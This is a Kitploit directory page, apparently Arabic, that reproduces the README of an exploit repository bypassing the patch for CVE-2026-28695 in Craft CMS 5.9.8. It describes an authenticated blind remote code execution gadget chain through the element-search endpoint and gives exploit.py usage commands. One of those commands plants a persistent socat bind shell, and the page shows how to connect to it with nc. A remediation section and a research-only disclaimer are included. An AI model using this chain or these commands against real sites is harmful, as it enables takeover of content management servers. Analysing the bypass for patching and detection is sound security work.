Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-28695-craft-rce-bypass — تنفيذ تعليمات برمجية عن بُعد **أعمى** ومُصادَق عليه في Craft CMS. إصلاح للثغرة CVE-2026-28695 | Kitploit
أدوات/GitHubGitHub/gbuyssens/cve-2026-28695-craft-rce-bypass
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHub
gbuyssens/cve-2026-28695-craft-rce-bypass

CVE-2026-28695-craft-rce-bypass

تنفيذ تعليمات برمجية عن بُعد **أعمى** ومُصادَق عليه في Craft CMS. إصلاح للثغرة CVE-2026-28695

عرض المستودع
1منذ 5 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تجاوز تصحيح CVE-2026-28695 — تنفيذ أوامر عن بُعد مُوثَّق في Craft CMS ≤ 5.9.8 (element-search)

CVSS 3.x : 8.8 HIGH   (تقريبي — تحقق منه)
CWE      : CWE-502 (إنشاء كائنات غير آمن) + CWE-1336 (أصل SSTI)
الأساس   : CVE-2026-28695  (SSTI عبر create() + Symfony Process)
الإصلاح  : تصحيح الاستشارة e31e508 (يقيّد create() بـ BaseObject) — تم تجاوزه هنا
يؤثر على : Craft CMS ≤ 5.9.8 مع تطبيق تصحيح CVE-2026-28695

تنفيذ أوامر عن بُعد أعمى ومُوثَّق في Craft CMS. الإصلاح الرسمي لـ CVE-2026-28695 يقيّد فقط create() بالفئات الفرعية لـ yii\base\BaseObject. أداة yii\behaviors\AttributeTypecastBehavior هي BaseObject ومع ذلك تصل إلى مصباح call_user_func()، لذا تنجو من الفلتر. يتم تسليمها عبر إجراء admin/actions/element-search/search غير المعتمد على Twig، كما أنها تتجاوز CRAFT_ENABLE_TWIG_SANDBOX. حساب محرر محتوى كافٍ.


جدول المحتويات

  • ملخص الثغرة
  • لماذا إثبات المفهوم لـ CVE-2026-28695 ميت على 5.9.8
  • التجاوز (سلسلة الأدوات)
  • قيد escapeshellcmd
  • سلسلة الهجوم
  • الإصدارات المتأثرة
  • هذا المستودع
  • الاستخدام
  • المعالجة
  • المراجع

ملخص الثغرة

يتعامل متحكم element-search في Craft مع JSON المهاجم بإلغاء تسلسله إلى كائنات PHP حية عبر آلية Craft::createObject() / Instance في Yii. من خلال إرفاق AttributeTypecastBehavior الذي يربط attributeTypes فيه سمةً بالدالة القابلة للاستدعاء [Psy\Readline\Hoa\ConsoleProcessus, execute] وإطلاق حدث beforeSave، يصبح تحويل النوع:

call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")

تستجيب نقطة النهاية دائمًا بـ HTTP 500 ولا تُرجع أي مخرجات للأمر — التنفيذ أعمى.


لماذا إثبات المفهوم لـ CVE-2026-28695 ميت على 5.9.8

  • CVE-2026-28695 = SSTI عبر create() + Symfony Process، يتم الوصول إليها من مصباح Twig (عادةً Entry Types → Title Format).
  • في 5.9.8، يقيّد تصحيح الالتزام e31e508 الدالة create() بالفئات الفرعية لـ BaseObject، كما يعمل الهدف مع CRAFT_ALLOW_ADMIN_CHANGES=false (الإعدادات → 403) و CRAFT_ENABLE_TWIG_SANDBOX=true. المتجه الموثق مُغلق ثلاثيًا.
  • الدرس: واجه الإصدار الدقيق مقابل التزام التصحيح، لا تنطلق بناءً على اسم CVE. هنا التصحيح أقدم من البناء المنشور → ابحث عن تجاوز للفلتر، لا عن إثبات المفهوم الخام.

التجاوز (سلسلة الأدوات)

yii\behaviors\AttributeTypecastBehavior  ->  Psy\Readline\Hoa\ConsoleProcessus::execute

تجاوز مزدوج، بحكم البنية:

  1. الصندوق الرملي — element-search مسار كائن PHP، وليس عرض Twig. CRAFT_ENABLE_TWIG_SANDBOX يحكم محرك القوالب فقط، لذا لا ينطبق أبدًا.
  2. التصحيح — يقيّد الإصلاح create() بـ BaseObject. AttributeTypecastBehavior → yii\base\Behavior → yii\base\BaseObject، لذا يستوفي القيد الجديد بينما لا يزال يوفر مصباح تنفيذ. الإصلاح يغلق عائلة واحدة من الفئات، لا فئة BaseObject.

نقطة النهاية:

POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json

قيد escapeshellcmd

يشغّل Hoa\ConsoleProcessus::execute() الأمر عبر escapeshellcmd():

  • مُبطَّل: | && ; > < $() ' " → لا تسلسل، لا أنابيب، لا إعادة توجيه، لا صدفة عكسية كلاسيكية في bash.
  • يمر: : , /
  • النتيجة: ملف تنفيذي واحد + وسائط، بدون محارف وصفية للصدفة.

لهذا السبب يكون الحمولة عبارة عن صدفة ربط واحدة socat TCP-LISTEN,fork EXEC (الوسائط في : / , /) بدلاً من صدفة عكسية.


سلسلة الهجوم

   Attacker (Content Editor)                Craft CMS 5.9.8
        |                                        |
        |  GET /admin/login  (scrape CSRF)       |
        |--------------------------------------->|
        |  POST users/login (jenny:******)       |
        |--------------------------------------->|
        |  GET /admin/dashboard (JS csrf)        |
        |<---------------------------------------|
        |  POST element-search/search            |
        |    AttributeTypecastBehavior gadget    |
        |    typecastBeforeSave = "<CMD>"        |
        |--------------------------------------->|  call_user_func(
        |  HTTP 500  (blind, no output)          |    [ConsoleProcessus,execute], CMD)
        |<---------------------------------------|  -> escapeshellcmd(CMD) -> exec
        |                                        |
        |  oracle: "sleep 5" -> +~5s latency     |
        |  shell:  socat TCP-LISTEN:4445 bind     |

الإصدارات المتأثرة

الحالةالإصدارات
معرّضCraft CMS ≤ 5.9.8 مع تصحيح CVE-2026-28695
ملاحظةتتطلب الأداة جلسة CP موثقة

هذا المستودع

الملفالدور
exploit.pyإثبات المفهوم: تسجيل الدخول → فحص أوراكل التوقيت → أمر واحد → صدفة ربط
README.mdهذا الملف

الاستخدام

يتطلب requests (pip install requests).

# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check

# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"

# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445

# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind

ما يحدث:

  1. استخراج CSRF لتسجيل الدخول، والمصادقة على CP، وجلب CSRF لإجراء لوحة التحكم.
  2. إرسال أداة AttributeTypecastBehavior إلى element-search.
  3. --check يثبت التنفيذ الأعمى عبر زمن استجابة مُحقَن؛ --bind يُنشئ مستمع socat.

المعالجة

  1. قم بترقية Craft CMS إلى إصدار يقيّد إنشاء الكائنات على جميع مسارات الإدخال المُلغى تسلسلها (وليس فقط create())، وافحص معالجة شروط element-search.
  2. أبقِ CRAFT_ALLOW_ADMIN_CHANGES=false و قلّل صلاحيات محرر المحتوى — المصادقة هي الشرط المسبق الوحيد هنا.
  3. أزل/قم بترقية تبعية psy/psysh (Hoa) المضمّنة حيث يمكن الوصول إلى أداة ConsoleProcessus::execute.
  4. WAF/القياس عن بُعد: نبّه على أجسام element-search/search التي تحتوي على __class، أو as rce، أو AttributeTypecastBehavior؛ وعلّم على دفعات HTTP 500 من هذا الإجراء.

المراجع

  • NVD — CVE-2026-28695 (SSTI الأساسي)
  • التزام إصلاح Craft CMS e31e508 (create() → قيد BaseObject)
  • وثائق Yii AttributeTypecastBehavior / yii\base\Security

إخلاء المسؤولية

هذا المشروع مخصص لاختبارات الأمان المصرح بها، والتعليم، والبحث الدفاعي فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد الاشتباك الخاصة بمختبرك أو عميلك.

تنزيل الأداة